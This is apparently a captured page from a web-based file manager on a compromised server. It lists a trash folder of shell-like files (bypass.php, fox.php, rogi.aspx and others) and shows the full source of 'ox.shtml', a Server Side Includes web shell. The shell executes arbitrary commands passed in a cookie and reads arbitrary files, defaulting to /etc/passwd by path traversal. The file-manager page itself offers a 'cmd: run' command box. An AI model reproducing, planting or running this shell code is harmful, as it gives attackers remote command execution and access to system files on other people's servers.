/
home
/
aqcert
/
.trash
/
/home/aqcert/.trash
mkdir
upload
Name
Size
Mode
Actions
admin.zip-Jan-01-2026-02-59-49-PM
26503360
0644
edit
dl
rm
Anon.cer-Nov-14-2024-02-22-28-PM
46395
0644
edit
dl
rm
aqcert.zip-Jan-01-2026-02-59-49-PM
27312539
0644
edit
dl
rm
berantakan-v-1.2.php-Jan-01-2026-02-51-53-PM
2001
0644
edit
dl
rm
bypass.php-Jan-01-2026-02-51-53-PM
459
0644
edit
dl
rm
fox.php-Jan-01-2026-02-51-53-PM
73318
0644
edit
dl
rm
imgs.zip-Jan-01-2026-02-51-32-PM
8917567
0644
edit
dl
rm
ls.shtml-Jan-01-2026-02-52-07-PM
152
0644
edit
dl
rm
mys.zip-Jan-01-2026-03-05-44-PM
753477
0644
edit
dl
rm
once.php-Jan-01-2026-02-51-53-PM
61
0644
edit
dl
rm
ox.shtml-Jan-01-2026-02-51-53-PM
3976
0644
edit
dl
rm
phpinfo.php-Jan-01-2026-02-51-54-PM
15
0644
edit
dl
rm
rogi.aspx-Nov-14-2024-02-22-28-PM
72955
0644
edit
dl
rm
sess3.php-Jan-01-2026-02-51-54-PM
690
0644
edit
dl
rm
ssi.shtml-Jan-01-2026-02-51-54-PM
3470
0644
edit
dl
rm
t.html-Jan-01-2026-02-51-54-PM
37104
0644
edit
dl
rm
tahan2.php-Jan-01-2026-02-51-54-PM
733
0644
edit
dl
rm
test.php-Jan-01-2026-02-51-54-PM
3
0644
edit
dl
rm
tet.zip-Jan-01-2026-02-59-49-PM
25999244
0644
edit
dl
rm
tiger.html-Jan-01-2026-02-51-54-PM
2583
0644
edit
dl
rm
Edit:
/home/aqcert/.trash/ox.shtml-Jan-01-2026-02-51-53-PM
(3976B)
<!--#config errmsg="[Error in shell]"--> <!--#config sizefmt="bytes"--> <!--#if expr="(\"$HTTP_COOKIE\" = \"\") || (\"$REQUEST_METHOD\" != \"GET\")" --> <!--#set var="shl" value="ls -al" --> <!--#else --> <!--#set var="shl" value=$HTTP_COOKIE --> <!--#endif --> <!--#if expr="(\"$HTTP_COOKIE\" = \"\") || (\"$REQUEST_METHOD\" != \"POST\")" --> <!--#set var="inc" value="/../../../../../../../etc/passwd" --> <!--#else --> <!--#set var="inc" value=$HTTP_COOKIE --> <!--#endif --> <html> <head> <title> SSI Web Shell edit by ./X140N </title> <script language="javascript"> function doit( mode ) { if( document.cookie != "" ) { var cookies = document.cookie.split( ";" ); for( var i = 0; i < cookies.length; ++i ) document.cookie = cookies[ i ] + ";expires=Thu, 01 Jan 1970 00:00:00 GMT"; } document.cookie = document.getElementById( mode ).value; document.location.reload(); } function toggle( id ) { document.getElementById( id ).style.display = (document.getElementById( id ).style.display == "none") ? "block" : "none"; } </script> </head> <body bgcolor=#e4e0d8 alink=blue vlink=blue> <div align=center width=100% border=0 style=background-color:#D4D0C8;> <center><b><font size=+2><a href=http://wWw.xPy.VN>SSI Web Shell</a></font></b></center> </div><br> <div align=left width=100% border=0 style=background-color:#D4D0C8;> <center><b><u><font size=+1 onclick=toggle('inf'); style=cursor:hand;>Common info</font></u></b></center> <div id=inf style=display:none;><br> <b><font color=blue>FILE NAME</font></b>: <b><!--#echo var=DOCUMENT_NAME --></b><br> <b><font color=blue>FILE URL</font></b>: <b><!--#echo var=DOCUMENT_URI --></b><br> <b><font color=blue>Owner</font></b>: <b><!--#echo var=USER_NAME --></b><br> <br></div> </div> <br> <div align=left width=100% border=0 style=background-color:#D4D0C8;> <center><b><u><font size=+1 onclick=toggle('env'); style=cursor:hand;>Enviroment info</font></u></b></center> <div id=env style=display:none;><br> <pre> <!--#printenv--> </pre> <br></div> </div> <br> <div align=left width=100% border=0 style=background-color:#D4D0C8;> <center><b><u><font size=+1 onclick=toggle('shl'); style=cursor:hand;>Command for shell</font></u></b></center></div> <div align=left width=100% border=0 id=shl style=background-color:#D4D0C8;<!--#if expr="\"$REQUEST_METHOD\" != \"GET\"" -->display:none;<!--#endif -->> <br><b><font color=blue>Enter command</font></b>: <form method=get onsubmit=doit('command');><input type=text size=80 id=command> <input type=submit value=Run></form><br> <center><b><font size=+1>Result</font></b></center> <br> <b><font color=blue>Executed command</font></b>: <b><!--#echo var=shl --></b><br> <textarea bgcolor=#e4e0d8 cols=121 rows=15> <!--#exec cmd=$shl --> </textarea> </div> <div align=left width=100% border=0 style=background-color:#D4D0C8;> <center><b><u><font size=+1 onclick=toggle('inc'); style=cursor:hand;>Operations on files</font></u></b></center> <div id=inc <!--#if expr="\"$REQUEST_METHOD\" != \"POST\"" -->style=display:none;<!--#endif -->><br> <b><font color=blue>View file (virtual include)</font></b>: <form method=post onsubmit=doit('vfile');><input type=text size=80 id=vfile> <input type=submit value=Run></form><br> <b><font color=blue>Included file</font></b>: <b><!--#echo var=inc --></b><br> <b><font color=blue>Size</font></b>: <b><!--#fsize virtual=$inc --> bytes</b><br> <textarea bgcolor=#e4e0d8 cols=121 rows=15> <!--#include virtual=$inc --> </textarea> <br></div> </div> <br> <div align=center width=100% border=0 style=background-color:#D4D0C8;> <center><b><font size=+1><a href=http://wWw.xPy.VN>(c) xPy</a></font></b><br><small>2012, v1.0</small></center> </div> </body> </html>
Save
cmd:
run